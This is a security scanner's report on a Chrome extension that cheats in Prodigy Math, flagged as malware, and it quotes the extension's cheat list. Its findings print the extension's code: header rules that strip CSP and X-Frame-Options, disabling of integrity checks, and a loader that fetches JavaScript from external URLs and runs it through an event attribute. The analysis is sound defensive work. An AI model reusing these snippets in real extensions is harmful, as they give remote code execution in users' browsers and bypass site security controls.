Security Alert: Confirmed Malware
Prodigy Hacking Extension | X Loader
ID: cddgplffojbmjffebkmngmmlhkkhfibp
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- DownTubeView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Website
- Visit
A loader for the Prodigy Hack Prodigy X.
Hacking Prodigy has never been easier! While playing Prodigy Math an arrow will appear on the top left of your screen. Clicking the arrow will have a cheat menu show up with the hacks. These are the hacks: • Player • Max Account (Maxes out your gold, level, member stars, bounty score, win loss ratio, dark tower level, achievements, pets, and inventory.) • Set Gold • Set Level • Uncap Level (Allows you to change your level to something greater then 100, although it will not be shown to anyone else.) • Set Member Stars • Set Bounty Points • Obtain Conjure Cubes • Set Wins • Set Losses • Get All Achievements • Permanent Morph (If you are currently morphed, it will last permanently) • Set Dark Tower Floor • Change Name (Only from the available options) • Set Name (Allows you to change your name to anything, although it will not be shown to anyone else.) • Set Grade • Complete Current Task In Quest (Can be used to complete a quest. To complete the quest you have to use this hack then complete the dialog then use the hack again.) • Unlimited Spins (Gives you unlimited spins on the Wheel Of Wonder.) • Inventory • Item Stacker (Gets every item in the game.) • Clear Inventory • Selector Basic (Allows you to get all of a certain category of items.) • Selector Advanced (Allows you to get one item.) • Obtain All Furniture • Complete Rune Run (This can be used to get runes. Every time you use this hack you will have a chance of getting a rune. Warning: This hack sometimes takes a while to function. Give it time.) • Pet • Get All Pets • Clear All Pets • Fix Battle Crash (If a battle crashes when entering it, try to reload and use this hack before entering the battle.) • Add Pet • Delete Pet • Edit Pet • Battle • PVP Health (Makes you have 1 billion health.) • Instant Kill • Escape Battle • Win Battle (Does not work in PVP.) • Fill Battle Energy • Heal Team • Easy Mode (Math is disabled.) • Utility • Save Character • Toggle Click Teleporting • Edit Walk Speed • Reset Account • Find The User Id of People on the Screen (Can be used with duplicated account.) • Duplicate Account (From a User Id you can copy all of it's data onto your account.) • Close All Popups • Generate Alt Account • Toggle Arrow Key Movement • Teleport To Map • Skip Tutorial • Mini-game • Edit Dino Dig Walk Speed • Extra Time In Dino Dig (Adds 100 days) • End Dino Dig (Useful if you add on 100 days) That's the hacks! We hope you enjoy Prodigy X!
Sensitive Domain Access
This extension has access to the following sensitive domains:
- *://raw.githubusercontent.com/*
The extension uses declarativeNetRequest to silently strip Content-Security-Policy and X-Frame-Options headers from all prodigygame.com responses. Removing CSP eliminates the browser's primary defense against script injection and XSS, directly enabling the code injection performed in contentScript.js. Removing X-Frame-Options additionally enables clickjacking attacks against the game site.
{ "id": 2, "priority": 1, "action": { "type": "modifyHeaders", "responseHeaders": [ { "header": "content-security-policy", "operation": "remove" }, { "header": "x-frame-options", "operation": "remove" } ] }, "condition": { "urlFilter": "*://*.prodigygame.com/*", "resourceTypes": [ "main_frame" ] }}The extension blocks the legitimate game script from loading via the CDN. This is a prerequisite for the substitution attack in contentScript.js, where a fetched-and-patched version of the script is injected instead. This effectively performs a man-in-the-middle substitution of the game's core JavaScript.
{ "id": 1, "priority": 1, "action": { "type": "block" }, "condition": { "urlFilter": "https://code.prodigygame.com/code/*/game.min.js?v=*" }}The extension fetches a version string from a third-party external server (prodigyx.org) and uses it to construct a URL to download the game's minified JavaScript. This establishes a remote command channel — the third-party server controls which version of the game code is loaded, giving the operator persistent remote control over the payload.
const e = await (await fetch("https://www.prodigyx.org/version.txt")) .text(), t = await (await fetch(`https://code.prodigygame.com/code/${e}/game.min.js?hello=true&v=${e}`)) .text(),The extension fetches arbitrary JavaScript from a user-configurable or default GitHub URL and executes it by injecting it into a DOM event handler (`onreset`) and immediately dispatching the event. This is dynamic remote code execution: the payload is fetched at runtime from an external source, bypassing any static analysis of the extension bundle. The URL can be changed to any arbitrary host via the popup UI, allowing the attacker to pivot the payload source.
const r = await (await fetch(await (async () => (await chrome.storage.sync.get("cheat-menu-url"))["cheat-menu-url"])() || "https://raw.githubusercontent.com/ProdigyAPI/ProdigyX/master/dist/extension-bundle.js")) .text();document.documentElement.setAttribute("onreset", `${o}\nSW.Load.decrementLoadSemaphore();\n${r}` .replaceAll("new URL", "new window.URL")), document.documentElement.dispatchEvent(new CustomEvent( "reset")), document.documentElement.removeAttribute("onreset")Code injection is performed by writing a multi-kilobyte JavaScript string (containing the patched game code plus the remote bundle) into a DOM event attribute, then triggering the event to execute it in the page context. This pattern deliberately avoids `eval()` to evade static detection while achieving equivalent arbitrary code execution with access to the page's full JavaScript environment including game state, player data, and session context.
document.documentElement.setAttribute("onreset", `${o}\nSW.Load.decrementLoadSemaphore();\n${r}` .replaceAll("new URL", "new window.URL")), document.documentElement.dispatchEvent(new CustomEvent( "reset")), document.documentElement.removeAttribute("onreset")The extension iterates over all script and link tags in the page and removes their `integrity` attributes, defeating Subresource Integrity (SRI) checks. This prevents the browser from detecting that loaded resources have been tampered with, covering the extension's script substitution attack and preventing detection of any future payload modifications.
[...document.getElementsByTagName("script"), ...document .getElementsByTagName("link")].forEach((e => { e.integrity && (console.log(e.integrity), e.removeAttribute("integrity"))}));The extension parses the game's minified JavaScript with regex patterns to extract internal variable names, then surgically patches the minified source to expose private game objects (`_game`, `instance`, `player`, `gameData`, `network`) onto the global `window` object. This constitutes deep introspection and manipulation of the game's internal state, enabling cheating capabilities and giving the injected payload full access to game session data and player information.
n = [t.match(/window,function\((.)/)[1], t.match(/var (.)=\{\}/)[1]], o = [ [/s\),this\._game=(.)/, `s),this._game=$1;window.priorLodash = window._;Object.defineProperty(window.priorLodash, "game", {get: () => this._game ...` ], [/(.)\..constants=Object/, "window.priorLodash = window.priorLodash || window._,window.priorLodash.constants=$1,$1.constants=Object" ] ].reduce(((e, [t, n]) => e.replace(t, n)), t),The popup allows users to configure an arbitrary URL that will be fetched and executed as JavaScript inside the game page. While presented as a developer option, this makes the extension a configurable remote code execution loader — any URL pointing to malicious JavaScript can be substituted and will execute with full page privileges inside prodigygame.com sessions.
const e = async () => (await chrome.storage.sync.get("cheat-menu-url"))["cheat-menu-url"], t = e => chrome .storage.sync.set({ "cheat-menu-url": e });...a || (await t( "https://raw.githubusercontent.com/ProdigyAPI/ProdigyX/master/dist/extension-bundle.js"), a = await e()), n.value = a, r.addEventListener("click", (async () => { const e = n.validity.valid, a = n.value; e && await t(a);By severity
Versions scanned
Showing 1 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 2.0.0 | 8 |
Files with findings
3 distinct paths — top paths by unique finding count:
- contentScript.js5
- rules.json2
- popup.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.